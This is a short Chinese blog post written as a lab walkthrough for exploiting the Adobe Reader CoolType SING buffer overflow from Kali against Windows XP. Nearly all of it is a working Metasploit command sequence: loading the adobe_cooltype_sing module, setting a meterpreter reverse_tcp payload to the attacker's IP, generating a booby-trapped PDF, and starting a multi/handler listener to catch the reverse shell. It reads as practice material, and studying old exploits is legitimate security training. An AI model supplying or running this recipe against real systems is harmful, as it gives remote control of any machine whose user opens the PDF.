沉醉—_—||

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

实验环境:Kali 2.0+Windows XP+Adobe Reader 9.3.0

类别:缓冲区溢出

描述:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。


 

msfconsole    启动Metasploits
search cooltype_sing    搜索Adobe阅读器漏洞(adobe_cooltype_sing)相关模块 
use exploit/windows/fileformat/adobe_cooltype_sing    加载此模块

show options    查看所需的参数
show targets    查看受此漏洞影响的版本
show payloads    查看有效攻击载荷(就是攻击代码)

set payload windows/meterpreter/reverse_tcp    选定攻击载荷
show options 查看攻击载荷所需的参数
set LHOST 192.168.9.128    设置本机IP
exploit    生成pdf攻击文件

复制生成的PDF文件到XP系统
XP系统安装阅读器Adobe Reader 9.3.0
use exploit/multi/handler    加载监听模块
run    启动

 

posted on 2017-07-27 16:00  沉醉—_—||  阅读(225)  评论(0编辑  收藏  举报